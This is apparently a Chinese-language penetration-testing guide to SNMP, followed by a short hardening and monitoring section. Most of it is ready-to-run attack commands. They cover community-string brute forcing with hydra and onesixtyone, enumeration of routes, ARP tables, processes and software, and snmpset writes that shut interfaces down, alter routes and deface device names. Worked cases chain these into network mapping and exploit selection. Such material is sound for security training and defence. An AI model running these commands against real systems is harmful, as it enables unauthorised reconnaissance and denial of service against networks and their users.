161/162 - SNMP 服务渗透测试

服务概述

SNMP (Simple Network Management Protocol) 用于网络设备管理。由于默认配置和弱认证,常导致信息泄露和配置修改。

默认端口: 161 (UDP), 162 (UDP Trap)
危害等级: ⭐⭐⭐⭐


信息收集

版本识别

# nmap 扫描
nmap -sV --script snmp-info -p 161 TARGET

# snmpwalk 测试版本
snmpwalk -v 1 TARGET
snmpwalk -v 2c TARGET
snmpwalk -v 3 TARGET

团体名爆破

# 使用 onesixtyone
onesixtyone -c community_strings.txt TARGET

# 使用 snmp-check
snmp-check -t TARGET -c public
snmp-check -t TARGET -c private

# 使用 hydra
hydra -P community_strings.txt -v 161/udp snmp://TARGET

# 常见团体名
public      # 只读 (最常见)
private     # 读写
community
manager
admin
test

MIB 枚举

# 枚举系统信息
snmpwalk -v 2c -c public TARGET system

# 枚举网络接口
snmpwalk -v 2c -c public TARGET interfaces

# 枚举路由表
snmpwalk -v 2c -c public TARGET ipRouteTable

# 枚举进程
snmpwalk -v 2c -c public TARGET hrSWRunTable

# 枚举用户
snmpwalk -v 2c -c public TARGET hrSWInstalledTable

常见攻击手法

1. 信息泄露

原理: 读取 SNMP OID 获取敏感信息。

利用:

# 系统信息
snmpwalk -v 2c -c public TARGET system
# 输出:主机名、位置、联系人、运行时间

# 网络接口
snmpwalk -v 2c -c public TARGET ifDescr
snmpwalk -v 2c -c public TARGET ifAddr

# 路由表
snmpwalk -v 2c -c public TARGET ipRouteTable
# 输出:网络拓扑

# ARP 表
snmpwalk -v 2c -c public TARGET ipNetToMediaTable
# 输出:内网主机 IP+MAC

# 已安装软件
snmpwalk -v 2c -c public TARGET hrSWInstalledTable
# 输出:软件清单 (用于漏洞挖掘)

2. 配置修改 (读写团体名)

原理: 使用读写团体名修改设备配置。

利用:

# 修改系统信息
snmpset -v 2c -c private TARGET system.sysName.0 s "HACKED"

# 关闭网络接口
snmpset -v 2c -c private TARGET ifAdminStatus.1 i 2

# 修改路由
snmpset -v 2c -c private TARGET ipRouteDest.1.1.1.1 s "192.168.1.1"
snmpset -v 2c -c private TARGET ipRouteNextHop.1.1.1.1 s "10.0.0.1"

# 重启设备 (某些设备支持)
snmpset -v 2c -c private TARGET system.sysServices.0 i 0

3. Cisco 设备特殊攻击

原理: Cisco 设备 SNMP 配置有额外风险。

利用:

# 读取 Cisco 配置
snmpwalk -v 2c -c public TARGET ciscoConfig

# 获取 VLAN 信息
snmpwalk -v 2c -c public TARGET vmplsVlanTable

# 获取 CDP 邻居
snmpwalk -v 2c -c public TARGET cdpCacheTable
# 输出:相邻设备信息 (用于网络映射)

# 修改 VLAN
snmpset -v 2c -c private TARGET vmplsVlanName.100 s "HACKED"

4. Windows SNMP 信息

原理: Windows SNMP 服务泄露大量信息。

利用:

# 获取进程列表
snmpwalk -v 2c -c public TARGET hrSWRunTable

# 获取用户信息
snmpwalk -v 2c -c public TARGET hrSWRunName

# 获取存储信息
snmpwalk -v 2c -c TARGET hrStorageTable

# 获取服务信息
snmpwalk -v 2c -c public TARGET hrServiceTable

5. SNMPv3 暴力破解

原理: SNMPv3 支持用户名/密码认证,可暴力破解。

利用:

# 枚举用户名
snmpwalk -v 3 -u admin -l noAuthNoPriv TARGET

# 暴力破解
hydra -P users.txt -p password snmpv3://TARGET
hydra -u users.txt -P passwords.txt snmpv3://TARGET

# 使用 nmap
nmap --script snmp-brute -p 161 TARGET

实战案例

案例 1: 网络拓扑侦察

# 1. 扫描 SNMP 服务
nmap -sU --script snmp-info -p 161 192.168.1.0/24

# 2. 发现目标
# 192.168.1.1 (路由器)
# 192.168.1.10 (交换机)

# 3. 枚举路由器
snmpwalk -v 2c -c public 192.168.1.1 ipRouteTable
# 获取路由信息

snmpwalk -v 2c -c public 192.168.1.1 ipNetToMediaTable
# 获取 ARP 表 (内网主机)

# 4. 枚举交换机
snmpwalk -v 2c -c public 192.168.1.10 dot1dTpFdbTable
# 获取 MAC 地址表

snmpwalk -v 2c -c public 192.168.1.10 cdpCacheTable
# 获取 CDP 邻居

# 5. 绘制网络图
# 使用获取的信息绘制完整网络拓扑

案例 2: 敏感信息收集

# 1. 系统信息
snmpwalk -v 2c -c public TARGET system
# 输出:
# sysName: server01
# sysLocation: Data Center Rack 5
# sysContact: admin@company.com
# sysUpTime: 123 days

# 2. 已安装软件
snmpwalk -v 2c -c public TARGET hrSWInstalledTable
# 输出:
# Apache 2.4.49 (CVE-2021-41773)
# OpenSSL 1.0.1 (Heartbleed)

# 3. 运行进程
snmpwalk -v 2c -c public TARGET hrSWRunTable
# 输出:
# mysqld (数据库)
# sshd (SSH 服务)

# 4. 针对性攻击
# 根据软件版本选择 exploit

案例 3: 配置修改导致 DoS

# 1. 发现读写团体名
onesixtyone -c community_strings.txt TARGET
# 输出:private (read-write)

# 2. 关闭网络接口
snmpset -v 2c -c private TARGET ifAdminStatus.1 i 2
# 接口关闭,网络中断

# 3. 修改系统名
snmpset -v 2c -c private TARGET system.sysName.0 s "HACKED_BY_ATTACKER"

# 4. 修改联系人
snmpset -v 2c -c private TARGET system.sysContact.0 s "hacker@evil.com"

案例 4: Windows 服务器渗透

# 1. 枚举 Windows SNMP
snmpwalk -v 2c -c public WINDOWS_TARGET hrSWRunTable

# 2. 获取进程信息
# 输出:
# chrome.exe (用户活动)
# outlook.exe (邮件客户端)
# winword.exe (Office)

# 3. 获取存储信息
snmpwalk -v 2c -c public WINDOWS_TARGET hrStorageTable
# 输出:
# C: Disk (总大小、已用空间)
# D: Disk

# 4. 获取服务信息
snmpwalk -v 2c -c public WINDOWS_TARGET hrServiceTable
# 输出:
# Spooler (打印服务)
# W3SVC (IIS Web 服务)

# 5. 制定攻击计划

工具

snmpwalk

# 基本用法
snmpwalk -v 2c -c public TARGET

# 指定 OID
snmpwalk -v 2c -c public TARGET system

# 输出格式
snmpwalk -v 2c -c public TARGET -O n  # 数字 OID
snmpwalk -v 2c -c public TARGET -O e  # 枚举值

snmp-check

# 全面检查
snmp-check -t TARGET -c public

# 特定模块
snmp-check -t TARGET -c public -m system
snmp-check -t TARGET -c public -m interfaces
snmp-check -t TARGET -c public -m processes

# 输出为 HTML
snmp-check -t TARGET -c public -o report.html

onesixtyone

# 爆破团体名
onesixtyone -c community_strings.txt TARGET

# 扫描网段
onesixtyone -c community_strings.txt -i hosts.txt

# 详细输出
onesixtyone -c community_strings.txt -d TARGET

snmpenum

# Windows 枚举
snmpenum -t TARGET -c public -w windows.txt

# Cisco 枚举
snmpenum -t TARGET -c public -w cisco.txt

# Linux 枚举
snmpenum -t TARGET -c public -w linux.txt

Nmap Scripts

# SNMP 信息
nmap --script snmp-info -p 161 TARGET

# SNMP 爆破
nmap --script snmp-brute -p 161 TARGET

# SNMP 枚举
nmap --script snmp-enum -p 161 TARGET

# SNMP 进程
nmap --script snmp-processes -p 161 TARGET

# SNMP 网络接口
nmap --script snmp-netstat -p 161 TARGET

防御建议

服务器配置

# 1. 更改默认团体名
# /etc/snmp/snmpd.conf
rocommunity NEW_READONLY_COMMUNITY default
rwcommunity NEW_READWRITE_COMMUNITY default

# 2. 限制访问来源
rocommunity public 192.168.1.0/24
rocommunity public 10.0.0.0/8

# 3. 使用 SNMPv3
# 创建用户
net-snmp-create-v3-user -ro -A PASSWORD -a SHA -x DES -X PRIVACY_PASSWORD USERNAME

# 4. 禁用 SNMP (如果不需要)
systemctl stop snmpd
systemctl disable snmpd

# 5. 最小化 MIB 访问
# 只公开必要的 OID
view systemonly included .1.3.6.1.2.1.1
access notConfigGroup "" any noauth exact systemonly none none

网络隔离

# 1. 防火墙规则
# 仅允许管理网段访问
iptables -A INPUT -p udp --dport 161 -s 192.168.1.0/24 -j ACCEPT
iptables -A INPUT -p udp --dport 161 -j DROP

# 2. VLAN 隔离
# SNMP 管理流量单独 VLAN

# 3. ACL 控制
# 交换机/路由器上配置 ACL

监控检测

# 1. 监控 SNMP 流量
tshark -i eth0 -Y "snmp" -T fields -e ip.src -e snmp.community

# 2. 日志分析
grep "snmp" /var/log/syslog

# 3. 异常检测
# 大量 SNMP 请求
# 未知源 IP 访问
# 读写操作尝试

# 4. 配置告警
# SNMP 认证失败
# 配置修改事件

参考链接